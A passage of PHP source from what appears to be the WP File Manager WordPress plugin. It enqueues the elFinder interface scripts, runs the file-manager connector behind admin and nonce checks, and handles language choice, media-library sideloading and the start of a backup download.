                wp_enqueue_script(&#039;fm_ui_navdock&#039;, plugins_url(&#039;lib/js/ui/navdock.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_overlay&#039;, plugins_url(&#039;lib/js/ui/overlay.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_panel&#039;, plugins_url(&#039;lib/js/ui/panel.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_ui_path&#039;, plugins_url(&#039;lib/js/ui/path.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_ui_searchbutton&#039;, plugins_url(&#039;lib/js/ui/searchbutton.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_sortbutton&#039;, plugins_url(&#039;lib/js/ui/sortbutton.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_stat&#039;, plugins_url(&#039;lib/js/ui/stat.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);


                wp_enqueue_script(&#039;fm_ui_toast&#039;, plugins_url(&#039;lib/js/ui/toast.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_toolbar&#039;, plugins_url(&#039;lib/js/ui/toolbar.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_tree&#039;, plugins_url(&#039;lib/js/ui/tree.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_uploadButton&#039;, plugins_url(&#039;lib/js/ui/uploadButton.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_viewbutton&#039;, plugins_url(&#039;lib/js/ui/viewbutton.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_ui_workzone&#039;, plugins_url(&#039;lib/js/ui/workzone.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);           

                wp_enqueue_script(&#039;fm_command_archive&#039;, plugins_url(&#039;lib/js/commands/archive.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_back&#039;, plugins_url(&#039;lib/js/commands/back.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_chmod&#039;, plugins_url(&#039;lib/js/commands/chmod.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_colwidth&#039;, plugins_url(&#039;lib/js/commands/colwidth.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_copy&#039;, plugins_url(&#039;lib/js/commands/copy.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_cut&#039;, plugins_url(&#039;lib/js/commands/cut.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_download&#039;, plugins_url(&#039;lib/js/commands/download.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_duplicate&#039;, plugins_url(&#039;lib/js/commands/duplicate.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_edit&#039;, plugins_url(&#039;lib/js/commands/edit.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_empty&#039;, plugins_url(&#039;lib/js/commands/empty.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_extract&#039;, plugins_url(&#039;lib/js/commands/extract.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_forward&#039;, plugins_url(&#039;lib/js/commands/forward.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_fullscreen&#039;, plugins_url(&#039;lib/js/commands/fullscreen.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_getfile&#039;, plugins_url(&#039;lib/js/commands/getfile.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_help&#039;, plugins_url(&#039;lib/js/commands/help.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver); 
                
                wp_enqueue_script(&#039;fm_command_hidden&#039;, plugins_url(&#039;lib/js/commands/hidden.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                wp_enqueue_script(&#039;fm_command_hide&#039;, plugins_url(&#039;lib/js/commands/hide.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                wp_enqueue_script(&#039;fm_command_home&#039;, plugins_url(&#039;lib/js/commands/home.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                wp_enqueue_script(&#039;fm_command_info&#039;, plugins_url(&#039;lib/js/commands/info.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                wp_enqueue_script(&#039;fm_command_mkdir&#039;, plugins_url(&#039;lib/js/commands/mkdir.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                wp_enqueue_script(&#039;fm_command_mkfile&#039;, plugins_url(&#039;lib/js/commands/mkfile.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_netmount&#039;, plugins_url(&#039;lib/js/commands/netmount.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_open&#039;, plugins_url(&#039;lib/js/commands/open.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_opendir&#039;, plugins_url(&#039;lib/js/commands/opendir.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_opennew&#039;, plugins_url(&#039;lib/js/commands/opennew.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_paste&#039;, plugins_url(&#039;lib/js/commands/paste.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_places&#039;, plugins_url(&#039;lib/js/commands/places.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_quicklook&#039;, plugins_url(&#039;lib/js/commands/quicklook.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_quicklook_plugins&#039;, plugins_url(&#039;lib/js/commands/quicklook.plugins.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_reload&#039;, plugins_url(&#039;lib/js/commands/reload.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_rename&#039;, plugins_url(&#039;lib/js/commands/rename.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_resize&#039;, plugins_url(&#039;lib/js/commands/resize.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_restore&#039;, plugins_url(&#039;lib/js/commands/restore.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_rm&#039;, plugins_url(&#039;lib/js/commands/rm.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_search&#039;, plugins_url(&#039;lib/js/commands/search.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_selectall&#039;, plugins_url(&#039;lib/js/commands/selectall.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_selectinvert&#039;, plugins_url(&#039;lib/js/commands/selectinvert.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_selectnone&#039;, plugins_url(&#039;lib/js/commands/selectnone.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_sort&#039;, plugins_url(&#039;lib/js/commands/sort.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_command_undo&#039;, plugins_url(&#039;lib/js/commands/undo.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_up&#039;, plugins_url(&#039;lib/js/commands/up.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_upload&#039;, plugins_url(&#039;lib/js/commands/upload.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_command_view&#039;, plugins_url(&#039;lib/js/commands/view.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_quicklook_googledocs&#039;, plugins_url(&#039;lib/js/extras/quicklook.googledocs.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);         
                     
                 // code mirror
                wp_enqueue_script(&#039;fm-codemirror-js&#039;, plugins_url(&#039;lib/codemirror/lib/codemirror.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_style(&#039;fm-codemirror&#039;, plugins_url(&#039;lib/codemirror/lib/codemirror.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_style(&#039;fm-3024-day&#039;, plugins_url(&#039;lib/codemirror/theme/3024-day.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                // File - Manager UI               
                wp_register_script( &quot;file_manager_free_shortcode_admin&quot;, plugins_url(&#039;js/file_manager_free_shortcode_admin.js&#039;,  __FILE__ ), array(), rand(0,9999) );
                 wp_localize_script( &#039;file_manager_free_shortcode_admin&#039;, &#039;fmfparams&#039;, array(
                     &#039;ajaxurl&#039; =&gt; admin_url(&#039;admin-ajax.php&#039;),
                     &#039;nonce&#039; =&gt; $fm_nonce,
                     &#039;plugin_url&#039; =&gt; plugins_url(&#039;lib/&#039;, __FILE__),
                     &#039;lang&#039; =&gt; isset($_GET[&#039;lang&#039;]) &amp;&amp; in_array(sanitize_text_field(htmlentities($_GET[&#039;lang&#039;])), $this-&gt;fm_languages()) ? sanitize_text_field(htmlentities($_GET[&#039;lang&#039;])) : (($wp_fm_lang !== false) ? $wp_fm_lang : &#039;en&#039;),
                     &#039;fm_enable_media_upload&#039; =&gt; (isset($opt[&#039;fm_enable_media_upload&#039;]) &amp;&amp; $opt[&#039;fm_enable_media_upload&#039;] == &#039;1&#039;) ? &#039;1&#039; : &#039;0&#039;,
                     &#039;is_multisite&#039;=&gt; is_multisite() ? &#039;1&#039; : &#039;0&#039;,
                     &#039;network_url&#039;=&gt; is_multisite() ? network_home_url() : &#039;&#039;,
                     )
                 );        
                 wp_enqueue_script( &#039;file_manager_free_shortcode_admin&#039; );               
                
             $theme = isset($_GET[&#039;theme&#039;]) &amp;&amp; !empty($_GET[&#039;theme&#039;]) ? sanitize_text_field(htmlentities($_GET[&#039;theme&#039;])) : &#039;&#039;;
             // New Theme
             if (!empty($theme)) {
                 delete_transient(&#039;wp_fm_theme&#039;);
                 set_transient(&#039;wp_fm_theme&#039;, $theme, 60 * 60 * 720);
                 if ($theme != &#039;default&#039;) {
                     wp_enqueue_style(&#039;theme-latest&#039;, plugins_url(&#039;lib/themes/&#039;.$theme.&#039;/css/theme.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 }
             } elseif (false !== ($wp_fm_theme = get_transient(&#039;wp_fm_theme&#039;))) {
                 if ($wp_fm_theme != &#039;default&#039;) {
                     wp_enqueue_style(&#039;theme-latest&#039;, plugins_url(&#039;lib/themes/&#039;.$wp_fm_theme.&#039;/css/theme.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 }
             } else {}
             
            }
             endif;
             
         }

        /*
        * Admin Links
        */
        public function mk_file_folder_manager_action_links($links, $file)
        {
            if ($file == plugin_basename(__FILE__)) {
                $mk_file_folder_manager_links = &#039;&lt;a href=&quot;https://filemanagerpro.io/product/file-manager/&quot; title=&quot;Buy Pro Now&quot; target=&quot;_blank&quot; style=&quot;font-weight:bold&quot;&gt;&#039;.__(&#039;Buy Pro&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/a&gt;&#039;;
                $mk_file_folder_manager_donate = &#039;&lt;a href=&quot;http://www.webdesi9.com/donate/?plugin=wp-file-manager&quot; title=&quot;Donate Now&quot; target=&quot;_blank&quot; style=&quot;font-weight:bold&quot;&gt;&#039;.__(&#039;Donate&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/a&gt;&#039;;
                array_unshift($links, $mk_file_folder_manager_donate);
                array_unshift($links, $mk_file_folder_manager_links);
            }

            return $links;
        }

        /*
        * Ajax request handler
        * Run File Manager
        */
        public function mk_file_folder_manager_action_callback()
        {
            $path = ABSPATH;
            $settings      = get_option( &#039;wp_file_manager_settings&#039; );
            $mk_restrictions = array();
            $mk_restrictions[] = array(
                                  &#039;pattern&#039; =&gt; &#039;/.tmb/&#039;,
                                   &#039;read&#039; =&gt; false,
                                   &#039;write&#039; =&gt; false,
                                   &#039;hidden&#039; =&gt; true,
                                   &#039;locked&#039; =&gt; false,
                                );
            $mk_restrictions[] = array(
                                  &#039;pattern&#039; =&gt; &#039;/.quarantine/&#039;,
                                   &#039;read&#039; =&gt; false,
                                   &#039;write&#039; =&gt; false,
                                   &#039;hidden&#039; =&gt; true,
                                   &#039;locked&#039; =&gt; false,
                                );
            $nonce = sanitize_text_field($_REQUEST[&#039;_wpnonce&#039;]);
            if ( ! current_user_can(&#039;manage_options&#039;) ) {
                status_header(403);
                echo json_encode([
                    &#039;error&#039; =&gt; &#039;Access denied&#039;
                ]);
                exit;
            }
            if (wp_verify_nonce($nonce, &#039;wp-file-manager&#039;)) {
                require &#039;lib/php/autoload.php&#039;;
                if (isset($settings[&#039;fm_enable_trash&#039;]) &amp;&amp; $settings[&#039;fm_enable_trash&#039;] == &#039;1&#039;) {
                    $mkTrash = array(
                            &#039;id&#039; =&gt; &#039;1&#039;,
                            &#039;driver&#039; =&gt; &#039;Trash&#039;,
                            &#039;path&#039; =&gt; WP_FILE_MANAGER_PATH.&#039;lib/files/.trash/&#039;,
                            &#039;tmbURL&#039; =&gt; site_url().&#039;/lib/files/.trash/.tmb/&#039;,
                            &#039;winHashFix&#039; =&gt; DIRECTORY_SEPARATOR !== &#039;/&#039;,
                            &#039;uploadDeny&#039; =&gt; array(&#039;&#039;),
                            &#039;uploadAllow&#039; =&gt; array(&#039;&#039;),
                            &#039;uploadOrder&#039; =&gt; array(&#039;deny&#039;, &#039;allow&#039;),
                            &#039;accessControl&#039; =&gt; &#039;access&#039;,
                            &#039;attributes&#039; =&gt; $mk_restrictions,
                        );
                    $mkTrashHash = &#039;t1_Lw&#039;;
                } else {
                    $mkTrash = array();
                    $mkTrashHash = &#039;&#039;;
                }
                $path_url      =  is_multisite() ? network_home_url() : site_url();
                /**
                 * @Preference
                 * If public root path is changed.
                 */
                $absolute_path = str_replace( &#039;\\&#039;, &#039;/&#039;, $path ); 
                $path_length   = strlen( $absolute_path );
                $access_folder = isset( $settings[&#039;public_path&#039;] ) &amp;&amp; ! empty( $settings[&#039;public_path&#039;] ) ? substr( $settings[&#039;public_path&#039;], $path_length ) : &#039;&#039;;
                if ( isset( $settings[&#039;public_path&#039;] ) &amp;&amp; ! empty( $settings[&#039;public_path&#039;] ) ) {
                    $path     = $settings[&#039;public_path&#039;];
                    $path_url = is_multisite() ? network_home_url() .&#039;/&#039;. ltrim( $access_folder, &#039;/&#039; ) : site_url() .&#039;/&#039;. ltrim( $access_folder, &#039;/&#039; );
                }
                $opts = array(
                       &#039;debug&#039; =&gt; false,
                       &#039;roots&#039; =&gt; array(
                        array(
                            &#039;driver&#039; =&gt; &#039;LocalFileSystem&#039;,
                            &#039;path&#039; =&gt; $path,
                            &#039;URL&#039; =&gt; $path_url,
                            &#039;trashHash&#039; =&gt; $mkTrashHash,
                            &#039;winHashFix&#039; =&gt; DIRECTORY_SEPARATOR !== &#039;/&#039;,
                            &#039;uploadDeny&#039; =&gt; array(),
                            &#039;uploadAllow&#039; =&gt; array(&#039;image&#039;, &#039;text/plain&#039;),
                            &#039;uploadOrder&#039; =&gt; array(&#039;deny&#039;, &#039;allow&#039;),
                            &#039;accessControl&#039; =&gt; &#039;access&#039;,
                            &#039;acceptedName&#039; =&gt; &#039;validName&#039;,
                            &#039;disabled&#039; =&gt; array(&#039;help&#039;, &#039;preference&#039;,&#039;hide&#039;,&#039;netmount&#039;),
                            &#039;attributes&#039; =&gt; $mk_restrictions,
                        ),
                        $mkTrash,
                    ),
                );
                //run elFinder
                $connector = new elFinderConnector(new elFinder($opts));
                $connector-&gt;run();
            }
            die;
        }

        /*
        permisions
        */
        public function permissions()
        {
            $permissions = &#039;manage_options&#039;;

            return $permissions;
        }

        /*
         Load Help Desk
        */
        public function load_help_desk()
        {
            $mkcontent = &#039;&#039;;
            $mkcontent .= &#039;&lt;div class=&quot;wfmrs&quot;&gt;&#039;;
            $mkcontent .= &#039;&lt;div class=&quot;l_wfmrs&quot;&gt;&#039;;
            $mkcontent .= &#039;&#039;;
            $mkcontent .= &#039;&lt;/div&gt;&#039;;
            $mkcontent .= &#039;&lt;div class=&quot;r_wfmrs&quot;&gt;&#039;;
            $mkcontent .= &#039;&lt;a class=&quot;close_fm_help fm_close_btn&quot; href=&quot;javascript:void(0)&quot; data-ct=&quot;rate_later&quot; title=&quot;close&quot;&gt;X&lt;/a&gt;&lt;strong&gt;WP File Manager&lt;/strong&gt;&lt;p&gt;We love and care about you. Our team is putting maximum efforts to provide you the best functionalities. It would be highly appreciable if you could spend a couple of seconds to give a Nice Review to the plugin to appreciate our efforts. So we can work hard to provide new features regularly :)&lt;/p&gt;&lt;a class=&quot;close_fm_help fm_close_btn_1&quot; href=&quot;javascript:void(0)&quot; data-ct=&quot;rate_later&quot; title=&quot;Remind me later&quot;&gt;Later&lt;/a&gt; &lt;a class=&quot;close_fm_help fm_close_btn_2&quot; href=&quot;https://wordpress.org/support/plugin/wp-file-manager/reviews/?filter=5&quot; data-ct=&quot;rate_now&quot; title=&quot;Rate us now&quot; target=&quot;_blank&quot;&gt;Rate Us&lt;/a&gt; &lt;a class=&quot;close_fm_help fm_close_btn_3&quot; href=&quot;javascript:void(0)&quot; data-ct=&quot;rate_never&quot; title=&quot;Not interested&quot;&gt;Never&lt;/a&gt;&#039;;
            $mkcontent .= &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
            if (false === ($mk_fm_close_fm_help_c_fm = get_option(&#039;mk_fm_close_fm_help_c_fm&#039;))) {
                echo apply_filters(&#039;the_content&#039;, $mkcontent);
            }
        }

        /*
         Close Help
        */
        public function mk_fm_close_fm_help()
        {
            $what_to_do = sanitize_text_field($_POST[&#039;what_to_do&#039;]);
            $expire_time = 15;
            if ($what_to_do == &#039;rate_now&#039; || $what_to_do == &#039;rate_never&#039;) {
                $expire_time = 365;
            } elseif ($what_to_do == &#039;rate_later&#039;) {
                $expire_time = 15;
            }
            if (false === ($mk_fm_close_fm_help_c_fm = get_option(&#039;mk_fm_close_fm_help_c_fm&#039;))) {
                $set = update_option(&#039;mk_fm_close_fm_help_c_fm&#039;, &#039;done&#039;);
                if ($set) {
                    echo &#039;ok&#039;;
                } else {
                    echo &#039;oh&#039;;
                }
            } else {
                echo &#039;ac&#039;;
            }
            die;
        }

        /*
         Loading Custom Assets
        */
        public function load_custom_assets()
        {                 
            wp_enqueue_script(&#039;fm-custom-script&#039;, plugins_url(&#039;js/fm_script.js&#039;, __FILE__), array(&#039;jquery&#039;), $this-&gt;ver);
            wp_localize_script( &#039;fm-custom-script&#039;, &#039;fmscript&#039;, array(
                &#039;nonce&#039; =&gt; wp_create_nonce(&#039;wp-file-manager-language&#039;)
            )); 
            wp_enqueue_style(&#039;fm-custom-script-style&#039;, plugins_url(&#039;css/fm_script.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
        }

        /*
         custom_css
        */
        public function custom_css()
        {
            wp_enqueue_style(&#039;fm-custom-style&#039;, plugins_url(&#039;css/fm_custom.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
        }

        /* Languages */
        public function fm_languages()
        {
            $langs = array(&#039;English&#039; =&gt; &#039;en&#039;,
                          &#039;Arabic&#039; =&gt; &#039;ar&#039;,
                          &#039;Bulgarian&#039; =&gt; &#039;bg&#039;,
                          &#039;Catalan&#039; =&gt; &#039;ca&#039;,
                          &#039;Czech&#039; =&gt; &#039;cs&#039;,
                          &#039;Danish&#039; =&gt; &#039;da&#039;,
                          &#039;German&#039; =&gt; &#039;de&#039;,
                          &#039;Greek&#039; =&gt; &#039;el&#039;,
                          &#039;Español&#039; =&gt; &#039;es&#039;,
                          &#039;Persian-Farsi&#039; =&gt; &#039;fa&#039;,
                          &#039;Faroese translation&#039; =&gt; &#039;fo&#039;,
                          &#039;French&#039; =&gt; &#039;fr&#039;,
                          &#039;Hebrew (עברית)&#039; =&gt; &#039;he&#039;,
                          &#039;hr&#039; =&gt; &#039;hr&#039;,
                          &#039;magyar&#039; =&gt; &#039;hu&#039;,
                          &#039;Indonesian&#039; =&gt; &#039;id&#039;,
                          &#039;Italiano&#039; =&gt; &#039;it&#039;,
                          &#039;Japanese&#039; =&gt; &#039;ja&#039;,
                          &#039;Korean&#039; =&gt; &#039;ko&#039;,
                          &#039;Dutch&#039; =&gt; &#039;nl&#039;,
                          &#039;Norwegian&#039; =&gt; &#039;no&#039;,
                          &#039;Polski&#039; =&gt; &#039;pl&#039;,
                          &#039;Português&#039; =&gt; &#039;pt_BR&#039;,
                          &#039;Română&#039; =&gt; &#039;ro&#039;,
                          &#039;Russian (Русский)&#039; =&gt; &#039;ru&#039;,
                          &#039;Slovak&#039; =&gt; &#039;sk&#039;,
                          &#039;Slovenian&#039; =&gt; &#039;sl&#039;,
                          &#039;Serbian&#039; =&gt; &#039;sr&#039;,
                          &#039;Swedish&#039; =&gt; &#039;sv&#039;,
                          &#039;Türkçe&#039; =&gt; &#039;tr&#039;,
                          &#039;Uyghur&#039; =&gt; &#039;ug_CN&#039;,
                          &#039;Ukrainian&#039; =&gt; &#039;uk&#039;,
                          &#039;Vietnamese&#039; =&gt; &#039;vi&#039;,
                          &#039;Simplified Chinese (简体中文)&#039; =&gt; &#039;zh_CN&#039;,
                          &#039;Traditional Chinese&#039; =&gt; &#039;zh_TW&#039;,
                          );

            return $langs;
        }

        /* get All Themes */
        public function get_themes()
        {
            $dir = dirname(__FILE__).&#039;/lib/themes&#039;;
            $theme_files = array_diff(scandir($dir), array(&#039;..&#039;, &#039;.&#039;));

            return $theme_files;
        }

        /* Success Message */
        public function success($msg)
        {
            _e(&#039;&lt;div class=&quot;updated settings-error notice is-dismissible&quot; id=&quot;setting-error-settings_updated&quot;&gt; 
&lt;p&gt;&lt;strong&gt;&#039;.$msg.&#039;&lt;/strong&gt;&lt;/p&gt;&lt;button class=&quot;notice-dismiss&quot; type=&quot;button&quot;&gt;&lt;span class=&quot;screen-reader-text&quot;&gt;Dismiss this notice.&lt;/span&gt;&lt;/button&gt;&lt;/div&gt;&#039;, &#039;te-editor&#039;);
        }

        /* Error Message */
        public function error($msg)
        {
            _e(&#039;&lt;div class=&quot;error settings-error notice is-dismissible&quot; id=&quot;setting-error-settings_updated&quot;&gt; 
&lt;p&gt;&lt;strong&gt;&#039;.$msg.&#039;&lt;/strong&gt;&lt;/p&gt;&lt;button class=&quot;notice-dismiss&quot; type=&quot;button&quot;&gt;&lt;span class=&quot;screen-reader-text&quot;&gt;Dismiss this notice.&lt;/span&gt;&lt;/button&gt;&lt;/div&gt;&#039;, &#039;te-editor&#039;);
        }

        /*
         * Admin - Assets
        */
        public function fm_custom_assets()
        {
            wp_enqueue_style(&#039;fm_custom_style&#039;, plugins_url(&#039;/css/fm_custom_style.css&#039;, __FILE__));
        }
        /* 
        * Media Upload
        */
        public function mk_file_folder_manager_media_upload() {	
            $nonce = sanitize_text_field($_REQUEST[&#039;_wpnonce&#039;]);
            if (current_user_can(&#039;manage_options&#039;) &amp;&amp; wp_verify_nonce($nonce, &#039;wp-file-manager&#039;)) {
                $uploadedfiles = isset($_POST[&#039;uploadefiles&#039;]) ? $_POST[&#039;uploadefiles&#039;] : &#039;&#039;;
                if(!empty($uploadedfiles)) {
                    foreach($uploadedfiles as $uploadedfile) {
                        $uploadedfile = esc_url_raw($uploadedfile);
                        /* Start - Uploading Image to Media Lib */
                        if(is_multisite() &amp;&amp; isset($_REQUEST[&#039;networkhref&#039;]) &amp;&amp; !empty($_REQUEST[&#039;networkhref&#039;]))
                        {
                            $network_home = network_home_url();
                            $uploadedfile =  $network_home.basename($uploadedfile);
                        }
                        $this-&gt;upload_to_media_library($uploadedfile);
                        /* End - Uploading Image to Media Lib */
                    }
                }
            }
            die;
        }
       /* Upload Images to Media Library */
		 public function upload_to_media_library($image_url) {
            $allowed_exts = array(&#039;jpg&#039;,&#039;jpe&#039;,
                &#039;jpeg&#039;,&#039;gif&#039;,
                &#039;png&#039;,&#039;svg&#039;,
                &#039;pdf&#039;,&#039;zip&#039;,
                &#039;ico&#039;,&#039;pdf&#039;,
                &#039;doc&#039;,&#039;docx&#039;,
                &#039;ppt&#039;,&#039;pptx&#039;,
                &#039;pps&#039;,&#039;ppsx&#039;,
                &#039;odt&#039;,&#039;xls&#039;,
                &#039;xlsx&#039;,&#039;psd&#039;,
                &#039;mp3&#039;,&#039;m4a&#039;,
                &#039;ogg&#039;,&#039;wav&#039;,
                &#039;mp4&#039;,&#039;m4v&#039;,
                &#039;mov&#039;,&#039;wmv&#039;,
                &#039;avi&#039;,&#039;mpg&#039;,
                &#039;ogv&#039;,&#039;3gp&#039;,
                &#039;3g2&#039;
            );
            $image_url = str_replace(&#039;..&#039;, &#039;&#039;, $image_url);
            $url = $image_url;
            preg_match(&#039;/[^\?]+\.(jpg|jpe|jpeg|gif|png|pdf|zip|ico|pdf|doc|docx|ppt|pptx|pps|ppsx|odt|xls|xlsx|psd|mp3|m4a|ogg|wav|mp4|m4v|mov|wmv|avi|mpg|ogv|3gp|3g2)/i&#039;, $url, $matches);
             if(isset($matches[1]) &amp;&amp; in_array($matches[1], $allowed_exts)) {
			// Need to require these files
					if ( !function_exists(&#039;media_handle_upload&#039;) ) {
						require_once(ABSPATH . &quot;wp-admin&quot; . &#039;/includes/image.php&#039;);
						require_once(ABSPATH . &quot;wp-admin&quot; . &#039;/includes/file.php&#039;);
						require_once(ABSPATH . &quot;wp-admin&quot; . &#039;/includes/media.php&#039;);
					}
				
					$tmp = download_url( $url );
					$post_id = 0;
					$desc = &quot;&quot;;
					$file_array = array();     
                    $file_array[&#039;name&#039;] = basename($matches[0]);
                    $file_info = pathinfo($file_array[&#039;name&#039;]);
					$desc = $file_info[&#039;filename&#039;];				
					// If error storing temporarily, unlink
					if ( is_wp_error( $tmp ) ) {
						@unlink($file_array[&#039;tmp_name&#039;]);
						$file_array[&#039;tmp_name&#039;] = &#039;&#039;;
					} else {
						$file_array[&#039;tmp_name&#039;] = $tmp;
					}
					$id = media_handle_sideload( $file_array, $post_id, $desc );
					if ( is_wp_error($id) ) {
						@unlink($file_array[&#039;tmp_name&#039;]);
						return $id;
                    }
            }
         }

         /**
         * Function to download backup
         */

         public function fm_download_backup($request){
            $params = $request-&gt;get_params();
            $backup_id = isset($params[&quot;backup_id&quot;]) ? trim($params[&quot;backup_id&quot;]) : &#039;&#039;;
            $type = isset($params[&quot;type&quot;]) ? trim($params[&quot;type&quot;]) : &#039;&#039;;
            if(!empty($backup_id) &amp;&amp; !empty($type)){
                $id = (int) base64_decode(trim($params[&quot;backup_id&quot;]));
                $type = base64_decode(trim($params[&quot;type&quot;]));
                $fmkey = self::fm_get_key();
                if(base64_encode(site_url().$fmkey) === $params[&#039;key&#039;]){
                    global $wpdb;
                    $upload_dir = wp_upload_dir();
                    $backup = $wpdb-&gt;get_var(
                        $wpdb-&gt;prepare(&quot;select backup_name from &quot;.$wpdb-&gt;prefix.&quot;wpfm_backup where id=%d&quot;,$id)
                    );
                    $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
                    $backup_baseurl = $upload_dir[&#039;baseurl&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
                    if($type == &quot;db&quot;){
                        $bkpName = $backup.&#039;-db.sql.gz&#039;;
                    }else{
                        $directory_separators = [&#039;../&#039;, &#039;./&#039;,&#039;..\\&#039;, &#039;.\\&#039;, &#039;..&#039;];
                        $type = str_replace($directory_separators, &#039;&#039;, $type);
                        $bkpName = $backup.&#039;-&#039;.$type.&#039;.zip&#039;;
                    }
                    $file = $backup_dirname.$bkpName;
                    if(file_exists($file)){
                        //Set Headers:
                        $memory_limit = intval( ini_get( &#039;memory_limit&#039; ) );
                        if ( ! extension_loaded( &#039;suhosin&#039; ) &amp;&amp; $memory_limit &lt; 512 ) {
                            @ini_set( &#039;memory_limit&#039;, &#039;1024M&#039; );
                        }
                        @ini_set( &#039;max_execution_time&#039;, 6000 );
                        @ini_set( &#039;max_input_vars&#039;, 10000 );
                        $etag = md5_file($file);
                        header(&#039;Pragma: public&#039;);
                        header(&#039;Expires: 0&#039;);
                        header(&#039;Cache-Control: must-revalidate, post-check=0, pre-check=0&#039;);
